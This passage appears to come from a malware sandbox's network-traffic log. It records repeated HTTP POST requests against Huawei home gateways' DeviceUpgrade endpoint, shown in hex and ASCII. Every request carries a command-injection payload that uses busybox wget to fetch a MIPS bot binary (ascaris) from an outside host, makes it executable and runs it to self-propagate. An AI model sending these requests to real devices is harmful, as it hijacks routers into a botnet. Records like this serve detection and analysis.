65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 